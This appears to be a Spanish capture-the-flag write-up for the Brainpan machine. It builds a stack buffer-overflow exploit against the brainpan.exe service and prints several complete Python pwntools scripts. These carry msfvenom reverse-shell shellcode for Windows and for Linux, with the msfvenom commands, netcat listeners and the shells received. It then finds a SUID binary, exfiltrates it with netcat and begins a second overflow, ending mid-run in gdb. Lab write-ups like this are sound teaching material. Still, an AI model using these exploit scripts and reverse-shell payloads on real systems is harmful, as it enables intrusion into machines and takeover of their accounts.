shellcode += b"\x82\xe9\xb2\x38\x01\x1b\x4b\xbf\x19\x6e\x4e"
shellcode += b"\xfb\x9d\x83\x22\x94\x4b\xa3\x91\x95\x59"

Nuestro exploit final llena con 524 A's el espacio que existe antes de sobrescribir el return address que se sobrescribe con un gadget que ejecuta un jmp esp y al estar el shellcode que creamos en el stack cuando salta nos envia una revshell

#!/usr/bin/python3
from pwn import remote, p32

offset = 524
junk = b"A" * offset

shellcode =  b""
shellcode += b"\xda\xd8\xd9\x74\x24\xf4\xbb\xf4\x3a\xcb\xbd"  
shellcode += b"\x5d\x2b\xc9\xb1\x52\x83\xc5\x04\x31\x5d\x13"  
shellcode += b"\x03\xa9\x29\x29\x48\xad\xa6\x2f\xb3\x4d\x37"  
shellcode += b"\x50\x3d\xa8\x06\x50\x59\xb9\x39\x60\x29\xef"  
shellcode += b"\xb5\x0b\x7f\x1b\x4d\x79\xa8\x2c\xe6\x34\x8e"  
shellcode += b"\x03\xf7\x65\xf2\x02\x7b\x74\x27\xe4\x42\xb7"  
shellcode += b"\x3a\xe5\x83\xaa\xb7\xb7\x5c\xa0\x6a\x27\xe8"  
shellcode += b"\xfc\xb6\xcc\xa2\x11\xbf\x31\x72\x13\xee\xe4"  
shellcode += b"\x08\x4a\x30\x07\xdc\xe6\x79\x1f\x01\xc2\x30"  
shellcode += b"\x94\xf1\xb8\xc2\x7c\xc8\x41\x68\x41\xe4\xb3"  
shellcode += b"\x70\x86\xc3\x2b\x07\xfe\x37\xd1\x10\xc5\x4a"  
shellcode += b"\x0d\x94\xdd\xed\xc6\x0e\x39\x0f\x0a\xc8\xca"  
shellcode += b"\x03\xe7\x9e\x94\x07\xf6\x73\xaf\x3c\x73\x72"  
shellcode += b"\x7f\xb5\xc7\x51\x5b\x9d\x9c\xf8\xfa\x7b\x72"  
shellcode += b"\x04\x1c\x24\x2b\xa0\x57\xc9\x38\xd9\x3a\x86"  
shellcode += b"\x8d\xd0\xc4\x56\x9a\x63\xb7\x64\x05\xd8\x5f"  
shellcode += b"\xc5\xce\xc6\x98\x2a\xe5\xbf\x36\xd5\x06\xc0"  
shellcode += b"\x1f\x12\x52\x90\x37\xb3\xdb\x7b\xc7\x3c\x0e"  
shellcode += b"\x2b\x97\x92\xe1\x8c\x47\x53\x52\x65\x8d\x5c"  
shellcode += b"\x8d\x95\xae\xb6\xa6\x3c\x55\x51\x09\x68\x31"  
shellcode += b"\xe8\xe1\x6b\xb9\xeb\x4a\xe2\x5f\x81\xbc\xa3"  
shellcode += b"\xc8\x3e\x24\xee\x82\xdf\xa9\x24\xef\xe0\x22"  
shellcode += b"\xcb\x10\xae\xc2\xa6\x02\x47\x23\xfd\x78\xce"  
shellcode += b"\x3c\x2b\x14\x8c\xaf\xb0\xe4\xdb\xd3\x6e\xb3"  
shellcode += b"\x8c\x22\x67\x51\x21\x1c\xd1\x47\xb8\xf8\x1a"  
shellcode += b"\xc3\x67\x39\xa4\xca\xea\x05\x82\xdc\x32\x85"  
shellcode += b"\x8e\x88\xea\xd0\x58\x66\x4d\x8b\x2a\xd0\x07"  
shellcode += b"\x60\xe5\xb4\xde\x4a\x36\xc2\xde\x86\xc0\x2a"  
shellcode += b"\x6e\x7f\x95\x55\x5f\x17\x11\x2e\xbd\x87\xde"  
shellcode += b"\xe5\x05\xb7\x94\xa7\x2c\x50\x71\x32\x6d\x3d"  
shellcode += b"\x82\xe9\xb2\x38\x01\x1b\x4b\xbf\x19\x6e\x4e"  
shellcode += b"\xfb\x9d\x83\x22\x94\x4b\xa3\x91\x95\x59"

payload  = b""
payload += junk
payload += p32(0x311712f3) # jmp esp;
payload += shellcode

shell = remote("192.168.100.5", 9999)
shell.sendlineafter(b">> ", payload)

Nos ponemos en escucha con netcat y corremos el exe desde una shell normal

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443  

PS C:\Users\user\Desktop> .\brainpan.exe  
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.

Ejecutamos el exploit y el programa corrompe sin embargo no recibimos una shell

❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 9999: Done  
[*] Closed connection to 192.168.100.5 port 9999

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443  

Si miramos ahora desde el debugger podemos ver que el eip apunta a una instrucción cuyo opcode es 0000, parece que hubo un problema en alguna parte

0:000> g
(23f8.231c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=00297000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=005ff916 esp=005ff910 ebp=41414141 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
005ff916 0000            add     byte ptr [eax],al          ds:002b:ffffffff=??  


Shellcode Analisis


Para entender porque pasa esto establecemos un breakpoint en la dirección que ejecuta jmp esp y enviamos nuevamente el exploit, ahora podemos desensamblar las instrucciones usando u y analizar cual de estas esta ocasionando el problema

0:000> bp 0x311712f3

0:000> g
Breakpoint 0 hit
eax=ffffffff ebx=00297000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280  
eip=311712f3 esp=005ff910 ebp=41414141 iopl=0         nv up ei ng nz na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286  
brainpan+0x12f3:
311712f3 ffe4            jmp     esp {005ff910}

0:000> u esp
005ff910 dad8            fcmovu  st,st(0)
005ff912 d97424f4        fnstenv [esp-0Ch]
005ff916 bbf43acbbd      mov     ebx,0BDCB3AF4h
005ff91b 5d              pop     ebp
005ff91c 2bc9            sub     ecx,ecx
005ff91e b152            mov     cl,52h
005ff920 83c504          add     ebp,4
005ff923 315d13          xor     dword ptr [ebp+13h],ebx

La instrucción que esta ocasionando el error es fnstenv, leyendo documentación podemos ver que guarda 28 bytes del estado del FPU, ¿cual es el problema? que lo esta escribindo en esp - 0xc o esp - 12 por lo que escribe 12 bytes antes del stack y 16 bytes despues del stack que probablemente sobrescriben el shellcode

fnstenv [esp-0Ch]

Para verlo un poco mejor veamos el contenido del stack antes y despues de la instrucción, ahora mismo en el stack esta almacenado el shellcode que enviamos

0:000> dds esp L6
005ff910  74d9d8da                 (esp + 0)
005ff914  f4bbf424                 (esp + 4)
005ff918  5dbdcb3a                 (esp + 8)
005ff91c  52b1c92b                 (esp + 12)
005ff920  3104c583                 (esp + 16)
005ff924  a903135d                 (esp + 20)

Al ejecutar la instrucción fnstenv la siguiente instrucción equivale a el hex 0000

0:000> g 0x005ff912
eax=ffffffff ebx=00297000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=005ff912 esp=005ff910 ebp=41414141 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
005ff912 d97424f4        fnstenv [esp-0Ch]                  ss:002b:005ff904=41  

0:000> p
eax=ffffffff ebx=00297000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=005ff916 esp=005ff910 ebp=41414141 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
005ff916 0000            add     byte ptr [eax],al          ds:002b:ffffffff=??  

Esto pasa debido a que la instrucción sobrescribió 4 dwords o 16 bytes del stack

0:000> dds esp L6
005ff910  00000000                 (esp + 0)  [overwrited]  
005ff914  00000000                 (esp + 4)  [overwrited]  
005ff918  00000000                 (esp + 8)  [overwrited]  
005ff91c  ffff0000                 (esp + 12) [overwrited]  
005ff920  3104c583                 (esp + 16)
005ff924  a903135d                 (esp + 20)

La solución mas simple es usar nops, antes del shellcode enviamos 16 nops entonces al sobrescribir los 16 bytes sobrescribira los nops y no nuestro shellcode

#!/usr/bin/python3
from pwn import remote, p32, asm

offset = 524
junk = b"A" * offset

shellcode =  b""
shellcode += b"\xda\xd8\xd9\x74\x24\xf4\xbb\xf4\x3a\xcb\xbd"  
shellcode += b"\x5d\x2b\xc9\xb1\x52\x83\xc5\x04\x31\x5d\x13"  
shellcode += b"\x03\xa9\x29\x29\x48\xad\xa6\x2f\xb3\x4d\x37"  
shellcode += b"\x50\x3d\xa8\x06\x50\x59\xb9\x39\x60\x29\xef"  
shellcode += b"\xb5\x0b\x7f\x1b\x4d\x79\xa8\x2c\xe6\x34\x8e"  
shellcode += b"\x03\xf7\x65\xf2\x02\x7b\x74\x27\xe4\x42\xb7"  
shellcode += b"\x3a\xe5\x83\xaa\xb7\xb7\x5c\xa0\x6a\x27\xe8"  
shellcode += b"\xfc\xb6\xcc\xa2\x11\xbf\x31\x72\x13\xee\xe4"  
shellcode += b"\x08\x4a\x30\x07\xdc\xe6\x79\x1f\x01\xc2\x30"  
shellcode += b"\x94\xf1\xb8\xc2\x7c\xc8\x41\x68\x41\xe4\xb3"  
shellcode += b"\x70\x86\xc3\x2b\x07\xfe\x37\xd1\x10\xc5\x4a"  
shellcode += b"\x0d\x94\xdd\xed\xc6\x0e\x39\x0f\x0a\xc8\xca"  
shellcode += b"\x03\xe7\x9e\x94\x07\xf6\x73\xaf\x3c\x73\x72"  
shellcode += b"\x7f\xb5\xc7\x51\x5b\x9d\x9c\xf8\xfa\x7b\x72"  
shellcode += b"\x04\x1c\x24\x2b\xa0\x57\xc9\x38\xd9\x3a\x86"  
shellcode += b"\x8d\xd0\xc4\x56\x9a\x63\xb7\x64\x05\xd8\x5f"  
shellcode += b"\xc5\xce\xc6\x98\x2a\xe5\xbf\x36\xd5\x06\xc0"  
shellcode += b"\x1f\x12\x52\x90\x37\xb3\xdb\x7b\xc7\x3c\x0e"  
shellcode += b"\x2b\x97\x92\xe1\x8c\x47\x53\x52\x65\x8d\x5c"  
shellcode += b"\x8d\x95\xae\xb6\xa6\x3c\x55\x51\x09\x68\x31"  
shellcode += b"\xe8\xe1\x6b\xb9\xeb\x4a\xe2\x5f\x81\xbc\xa3"  
shellcode += b"\xc8\x3e\x24\xee\x82\xdf\xa9\x24\xef\xe0\x22"  
shellcode += b"\xcb\x10\xae\xc2\xa6\x02\x47\x23\xfd\x78\xce"  
shellcode += b"\x3c\x2b\x14\x8c\xaf\xb0\xe4\xdb\xd3\x6e\xb3"  
shellcode += b"\x8c\x22\x67\x51\x21\x1c\xd1\x47\xb8\xf8\x1a"  
shellcode += b"\xc3\x67\x39\xa4\xca\xea\x05\x82\xdc\x32\x85"  
shellcode += b"\x8e\x88\xea\xd0\x58\x66\x4d\x8b\x2a\xd0\x07"  
shellcode += b"\x60\xe5\xb4\xde\x4a\x36\xc2\xde\x86\xc0\x2a"  
shellcode += b"\x6e\x7f\x95\x55\x5f\x17\x11\x2e\xbd\x87\xde"  
shellcode += b"\xe5\x05\xb7\x94\xa7\x2c\x50\x71\x32\x6d\x3d"  
shellcode += b"\x82\xe9\xb2\x38\x01\x1b\x4b\xbf\x19\x6e\x4e"  
shellcode += b"\xfb\x9d\x83\x22\x94\x4b\xa3\x91\x95\x59"

payload  = b""
payload += junk
payload += p32(0x311712f3) # jmp esp;
payload += asm("nop") * 16 # padding
payload += shellcode

shell = remote("192.168.100.5", 9999)
shell.sendlineafter(b">> ", payload)

Para verlo desde el debugger podemos establecer nuevamente el breakpoint y mirar el stack, podemos ver 4 dwords de nops y justo despues el inicio del shellcode

0:000> bp 0x311712f3

0:000> g
Breakpoint 0 hit
eax=ffffffff ebx=00252000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280  
eip=311712f3 esp=005ff910 ebp=41414141 iopl=0         nv up ei ng nz na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286  
brainpan+0x12f3:
311712f3 ffe4            jmp     esp {005ff910}

0:000> dds esp L6
005ff910  90909090                 (nops)
005ff914  90909090                 (nops)
005ff918  90909090                 (nops)
005ff91c  90909090                 (nops)
005ff920  74d9d8da                 (shellcode start)
005ff924  f4bbf424

Después de ejecutar la instrucción fnstenv los 4 dwords de nops se sobrescriben sin embargo el inicio del shellcode se mantiene intacto por lo que la ejecución de este no se deberia ver afectada y deberia ejecutarlo correctamente enviando la revshell

0:000> g 0x005ff922
eax=ffffffff ebx=00252000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=005ff922 esp=005ff910 ebp=41414141 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
005ff922 d97424f4        fnstenv [esp-0Ch]                  ss:002b:005ff904=41  

0:000> p
eax=ffffffff ebx=00252000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=005ff926 esp=005ff910 ebp=41414141 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
005ff926 bbf43acbbd      mov     ebx,0BDCB3AF4h

0:000> dds esp L6
005ff910  00000000                 (overwrited)
005ff914  00000000                 (overwrited)
005ff918  00000000                 (overwrited)
005ff91c  ffff0000                 (overwrited)
005ff920  74d9d8da                 (shellcode start)
005ff924  f4bbf424

El problema es ocasionado por el encoder, podemos utilizar otro tipo de encoder como jmp_call_additive que no tendrá instrucciones que alteren el esp como si las tiene el encoder shikata_ga_nai que es el que msfvenom se usa por defecto

 -e x86/shikata_ga_nai
 -e x86/jmp_call_additive  

Asi que creamos un nuevo shellcode ahora con el encoder x86/jmp_call_additive

❯ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.73 LPORT=443 -b '\x00' -f python -v shellcode -e x86/jmp_call_additive  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353 (iteration=0)
x86/jmp_call_additive chosen with final size 353
Payload size: 353 bytes
Final size of python file: 1990 bytes
shellcode =  b""
shellcode += b"\xfc\xbb\x37\xc9\x1e\xb2\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xcb\x21\x9c\xb2\x33\xb2\xc1\x3b"
shellcode += b"\xd6\x83\xc1\x58\x93\xb4\xf1\x2b\xf1\x38\x79"
shellcode += b"\x79\xe1\xcb\x0f\x56\x06\x7b\xa5\x80\x29\x7c"
shellcode += b"\x96\xf1\x28\xfe\xe5\x25\x8a\x3f\x26\x38\xcb"
shellcode += b"\x78\x5b\xb1\x99\xd1\x17\x64\x0d\x55\x6d\xb5"
shellcode += b"\xa6\x25\x63\xbd\x5b\xfd\x82\xec\xca\x75\xdd"
shellcode += b"\x2e\xed\x5a\x55\x67\xf5\xbf\x50\x31\x8e\x74"
shellcode += b"\x2e\xc0\x46\x45\xcf\x6f\xa7\x69\x22\x71\xe0"
shellcode += b"\x4e\xdd\x04\x18\xad\x60\x1f\xdf\xcf\xbe\xaa"
shellcode += b"\xfb\x68\x34\x0c\x27\x88\x99\xcb\xac\x86\x56"
shellcode += b"\x9f\xea\x8a\x69\x4c\x81\xb7\xe2\x73\x45\x3e"
shellcode += b"\xb0\x57\x41\x1a\x62\xf9\xd0\xc6\xc5\x06\x02"
shellcode += b"\xa9\xba\xa2\x49\x44\xae\xde\x10\x01\x03\xd3"
shellcode += b"\xaa\xd1\x0b\x64\xd9\xe3\x94\xde\x75\x48\x5c"
shellcode += b"\xf9\x82\xaf\x77\xbd\x1c\x4e\x78\xbe\x35\x95"
shellcode += b"\x2c\xee\x2d\x3c\x4d\x65\xad\xc1\x98\x2a\xfd"
shellcode += b"\x6d\x73\x8b\xad\xcd\x23\x63\xa7\xc1\x1c\x93"
shellcode += b"\xc8\x0b\x35\x3e\x33\xdc\xfa\x17\x5f\x55\x93"
shellcode += b"\x65\x9f\x64\xd8\xe3\x79\x0c\x0e\xa2\xd2\xb9"
shellcode += b"\xb7\xef\xa8\x58\x37\x3a\xd5\x5b\xb3\xc9\x2a"
shellcode += b"\x15\x34\xa7\x38\xc2\xb4\xf2\x62\x45\xca\x28"
shellcode += b"\x0a\x09\x59\xb7\xca\x44\x42\x60\x9d\x01\xb4"
shellcode += b"\x79\x4b\xbc\xef\xd3\x69\x3d\x69\x1b\x29\x9a"
shellcode += b"\x4a\xa2\xb0\x6f\xf6\x80\xa2\xa9\xf7\x8c\x96"
shellcode += b"\x65\xae\x5a\x40\xc0\x18\x2d\x3a\x9a\xf7\xe7"
shellcode += b"\xaa\x5b\x34\x38\xac\x63\x11\xce\x50\xd5\xcc"
shellcode += b"\x97\x6f\xda\x98\x1f\x08\x06\x39\xdf\xc3\x82"
shellcode += b"\x49\xaa\x49\xa2\xc1\x73\x18\xf6\x8f\x83\xf7"
shellcode += b"\x35\xb6\x07\xfd\xc5\x4d\x17\x74\xc3\x0a\x9f"
shellcode += b"\x65\xb9\x03\x4a\x89\x6e\x23\x5f\x89\x90\xdb"
shellcode += b"\x60"

De esta forma no usamos nops para evitar el problema y el exploit queda mas simple

#!/usr/bin/python3
from pwn import remote, p32

offset = 524
junk = b"A" * offset

shellcode =  b""
shellcode += b"\xfc\xbb\x37\xc9\x1e\xb2\xeb\x0c\x5e\x56\x31"  
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"  
shellcode += b"\xff\xff\xff\xcb\x21\x9c\xb2\x33\xb2\xc1\x3b"  
shellcode += b"\xd6\x83\xc1\x58\x93\xb4\xf1\x2b\xf1\x38\x79"  
shellcode += b"\x79\xe1\xcb\x0f\x56\x06\x7b\xa5\x80\x29\x7c"  
shellcode += b"\x96\xf1\x28\xfe\xe5\x25\x8a\x3f\x26\x38\xcb"  
shellcode += b"\x78\x5b\xb1\x99\xd1\x17\x64\x0d\x55\x6d\xb5"  
shellcode += b"\xa6\x25\x63\xbd\x5b\xfd\x82\xec\xca\x75\xdd"  
shellcode += b"\x2e\xed\x5a\x55\x67\xf5\xbf\x50\x31\x8e\x74"  
shellcode += b"\x2e\xc0\x46\x45\xcf\x6f\xa7\x69\x22\x71\xe0"  
shellcode += b"\x4e\xdd\x04\x18\xad\x60\x1f\xdf\xcf\xbe\xaa"  
shellcode += b"\xfb\x68\x34\x0c\x27\x88\x99\xcb\xac\x86\x56"  
shellcode += b"\x9f\xea\x8a\x69\x4c\x81\xb7\xe2\x73\x45\x3e"  
shellcode += b"\xb0\x57\x41\x1a\x62\xf9\xd0\xc6\xc5\x06\x02"  
shellcode += b"\xa9\xba\xa2\x49\x44\xae\xde\x10\x01\x03\xd3"  
shellcode += b"\xaa\xd1\x0b\x64\xd9\xe3\x94\xde\x75\x48\x5c"  
shellcode += b"\xf9\x82\xaf\x77\xbd\x1c\x4e\x78\xbe\x35\x95"  
shellcode += b"\x2c\xee\x2d\x3c\x4d\x65\xad\xc1\x98\x2a\xfd"  
shellcode += b"\x6d\x73\x8b\xad\xcd\x23\x63\xa7\xc1\x1c\x93"  
shellcode += b"\xc8\x0b\x35\x3e\x33\xdc\xfa\x17\x5f\x55\x93"  
shellcode += b"\x65\x9f\x64\xd8\xe3\x79\x0c\x0e\xa2\xd2\xb9"  
shellcode += b"\xb7\xef\xa8\x58\x37\x3a\xd5\x5b\xb3\xc9\x2a"  
shellcode += b"\x15\x34\xa7\x38\xc2\xb4\xf2\x62\x45\xca\x28"  
shellcode += b"\x0a\x09\x59\xb7\xca\x44\x42\x60\x9d\x01\xb4"  
shellcode += b"\x79\x4b\xbc\xef\xd3\x69\x3d\x69\x1b\x29\x9a"  
shellcode += b"\x4a\xa2\xb0\x6f\xf6\x80\xa2\xa9\xf7\x8c\x96"  
shellcode += b"\x65\xae\x5a\x40\xc0\x18\x2d\x3a\x9a\xf7\xe7"  
shellcode += b"\xaa\x5b\x34\x38\xac\x63\x11\xce\x50\xd5\xcc"  
shellcode += b"\x97\x6f\xda\x98\x1f\x08\x06\x39\xdf\xc3\x82"  
shellcode += b"\x49\xaa\x49\xa2\xc1\x73\x18\xf6\x8f\x83\xf7"  
shellcode += b"\x35\xb6\x07\xfd\xc5\x4d\x17\x74\xc3\x0a\x9f"  
shellcode += b"\x65\xb9\x03\x4a\x89\x6e\x23\x5f\x89\x90\xdb"  
shellcode += b"\x60"

payload  = b""
payload += junk
payload += p32(0x311712f3) # jmp esp;
payload += shellcode

shell = remote("192.168.100.5", 9999)
shell.sendlineafter(b">> ", payload)

Ahora al ejecutar este script nos llegua la shell sin ningun problema como antes

❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 9999: Done  
[*] Closed connection to 192.168.100.5 port 9999

❯ sudo netcat -lvnp 443 
Listening on 0.0.0.0 443
Connection received on 192.168.100.5
Microsoft Windows [Versión 10.0.23430.1000]
(c) Microsoft Corporation. Todos los derechos reservados.  

C:\Windows\System32>whoami
xchg2pwn\user

C:\Windows\System32>


Shell - puck


Ahora que funciona simplemente cambiamos la dirección ip de el apartado de remote

shell = remote("192.168.100.2", 9999)  

Corremos el exploit y recibimos una shell de la máquina victima en la unidad Z:

❯ python3 exploit.py
[+] Opening connection to 192.168.100.2 on port 9999: Done  
[*] Closed connection to 192.168.100.2 port 9999

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.2  
CMD Version 1.4.1

Z:\home\puck>whoami
File not found.

Z:\home\puck>

No podemos hacer un simple whoami, sin embargo al mirar la estrucrura de los directorios en la raiz podemos ver que la estructura es la de un Linux

Z:\home\puck>dir Z:\
Volume in drive Z has no label.
Volume Serial Number is 0000-0000

Directory of Z:

  3/4/2013   1:02 PM  <DIR>         bin
  3/4/2013  11:19 AM  <DIR>         boot
  4/7/2023  11:09 PM  <DIR>         etc
  3/4/2013  11:49 AM  <DIR>         home
  3/4/2013  11:18 AM    15,084,717  initrd.img
  3/4/2013  11:18 AM    15,084,717  initrd.img.old
  3/4/2013   1:04 PM  <DIR>         lib
  3/4/2013  10:12 AM  <DIR>         lost+found
  3/4/2013  10:12 AM  <DIR>         media
 10/9/2012   9:59 AM  <DIR>         mnt
  3/4/2013  10:13 AM  <DIR>         opt
  3/7/2013  11:07 PM  <DIR>         root
  4/7/2023  11:09 PM  <DIR>         run
  3/4/2013  11:20 AM  <DIR>         sbin
 6/11/2012   9:43 AM  <DIR>         selinux
  3/4/2013  10:13 AM  <DIR>         srv
  4/8/2023  12:29 AM  <DIR>         tmp
  3/4/2013  10:13 AM  <DIR>         usr
  8/5/2019   3:47 PM  <DIR>         var
 2/25/2013   2:32 PM     5,180,432  vmlinuz
 2/25/2013   2:32 PM     5,180,432  vmlinuz.old
       4 files               40,530,298 bytes
      17 directories     13,849,333,760 bytes free  

Z:\home\puck>

Basta con ejecutar la ruta absoluta del binario sh para obtener una shell de Linux

Z:\home\puck>/bin/sh
sh: turning off NDELAY mode

script /dev/null -c bash
puck@brainpan:~$ id
uid=1002(puck) gid=1002(puck) groups=1002(puck)  
puck@brainpan:~$ hostname -I
192.168.100.2 
puck@brainpan:~$

Otra forma es cambiando el payload msfvenom a uno de linux x86 para recibir una sh

❯ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.100.73 LPORT=443 -b '\x00' -f python -v shellcode -e x86/jmp_call_additive  
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 97 (iteration=0)
x86/jmp_call_additive chosen with final size 97
Payload size: 97 bytes
Final size of python file: 558 bytes
shellcode =  b""
shellcode += b"\xfc\xbb\x2d\x10\x84\x11\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x1c\xcb\x73\xf2\x0d\xa8\x28\x9f"
shellcode += b"\xb3\xa7\x2e\xef\xd5\x7a\x30\x83\x40\x35\x0e"
shellcode += b"\x69\xf2\x7c\x08\x88\x9a\xbe\x42\x0e\x13\x57"
shellcode += b"\x91\xcf\xa2\x1c\x1c\x2e\x14\x04\x4f\xe0\x07"
shellcode += b"\x7a\x6c\x8b\x46\xb1\xf3\xd9\xe0\x24\xdb\xae"
shellcode += b"\x98\xd0\x0c\x7e\x3a\x48\xda\x63\xe8\xd9\x55"
shellcode += b"\x82\xbc\xd5\xa8\xc5\xbc\xe9\x32\xc6"

Modificamos el script, lo ejecutamos y recibimos directamente una sh de Linux

#!/usr/bin/python3
from pwn import remote, p32

offset = 524
junk = b"A" * offset

shellcode =  b""
shellcode += b"\xfc\xbb\x2d\x10\x84\x11\xeb\x0c\x5e\x56\x31"  
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"  
shellcode += b"\xff\xff\xff\x1c\xcb\x73\xf2\x0d\xa8\x28\x9f"  
shellcode += b"\xb3\xa7\x2e\xef\xd5\x7a\x30\x83\x40\x35\x0e"  
shellcode += b"\x69\xf2\x7c\x08\x88\x9a\xbe\x42\x0e\x13\x57"  
shellcode += b"\x91\xcf\xa2\x1c\x1c\x2e\x14\x04\x4f\xe0\x07"  
shellcode += b"\x7a\x6c\x8b\x46\xb1\xf3\xd9\xe0\x24\xdb\xae"  
shellcode += b"\x98\xd0\x0c\x7e\x3a\x48\xda\x63\xe8\xd9\x55"  
shellcode += b"\x82\xbc\xd5\xa8\xc5\xbc\xe9\x32\xc6"

payload  = b""
payload += junk
payload += p32(0x311712f3) # jmp esp;
payload += shellcode

shell = remote("192.168.100.2", 9999)
shell.sendlineafter(b">> ", payload)

❯ python3 exploit.py
[+] Opening connection to 192.168.100.2 on port 9999: Done  
[*] Closed connection to 192.168.100.2 port 9999

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.2  
script /dev/null -c bash
puck@brainpan:~$ id
uid=1002(puck) gid=1002(puck) groups=1002(puck)  
puck@brainpan:~$ hostname -I
192.168.100.2
puck@brainpan:~$


Shell - anansi


Buscando archivos suid hay uno que sobresale, un binario personalizado validate

puck@brainpan:~$ find / -perm -u+s 2>/dev/null  
/bin/umount
/bin/su
/bin/mount
/bin/fusermount
/bin/ping6
/bin/ping
/usr/bin/sudo
/usr/bin/mtr
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudoedit
/usr/bin/chfn
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/lppasswd
/usr/bin/passwd
/usr/bin/gpasswd
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/local/bin/validate
/usr/lib/dbus-1.0/dbus-daemon-launch-helper  
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
puck@brainpan:~$

El binario pertenece al usuario anansi y tiene el privilegio suid en los permisos

puck@brainpan:~$ ls -l /usr/local/bin/validate
-rwsr-xr-x 1 anansi anansi 8761 Mar  4  2013 /usr/local/bin/validate  
puck@brainpan:~$

Al ejecutarlo nos pide un input, asi que le pasamos test como input aunque realmente no queda muy claro que es lo que hace con el, solo devuelve un mensaje

puck@brainpan:~$ validate
usage validate <input>
puck@brainpan:~$ validate test  
validating input...passed.
puck@brainpan:~$

Podemos descargar el binario en nuestra máquina para analizarlo usando netcat

puck@brainpan:~$ netcat 192.168.100.85 4444 < /usr/local/bin/validate  
puck@brainpan:~$

❯ netcat -lvnp 4444 > validate  
Listening on 0.0.0.0 4444
Connection received on 192.168.100.2  

Para analizarlo podemos abrir el binario con ida y asi ver el desensamblado, la función main inicia mostrando un mensaje con printf y llamando a la función validate pasandole el contenido del primer argumento y luego hace un salto condicional

La función validate recibe el argumento e inicia declarando un iterador llamado i a 0, toma la longitud del argumento con strlen que es muy probable que sea el tope del bucle sobre el que se va a iterar para realizar otras operaciones que analizaremos

La iteración es para comparar el caracter actual con la F, si es igual muestra un mensaje con printf y sale con exit, si no es igual continua el bucle, cuando termina el bucle define un buffer en ebp - 112 y llama a strcpy para copiar el argumento en ese buffer, resumiendo tenemos un Buffer Overflow y a F o 0x46 como badchar

Con checksec podemos ver que el binario no tiene ninguna protección a evitar

❯ checksec validate
[*] '/home/user/validate'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)  
    RWX:      Has RWX segments

Iniciamos creando nuestro payload, llenaremos con A's los 112 bytes del buffer antes de ebp, luego enviamos 4 B's para el valor que tomara ebp en el leave, luego 4 C's del return address, además algunas D's que se guardarán en el stack

❯ python3 -q
>>> b"A" * 112 + b"B" * 4 + b"C" * 4 + b"D" * 40
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'  
>>>

Enviamos el payload como el argumento y podemos ver que nuestra hipotesis se cumple ya que el eip apunta a 0x43434343, concluimos que el offset para el return address es de 116 bytes y el resto de los bytes osea las D's se guardan en el stack

❯ gdb -q validate
Reading symbols from validate...
pwndbg> run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
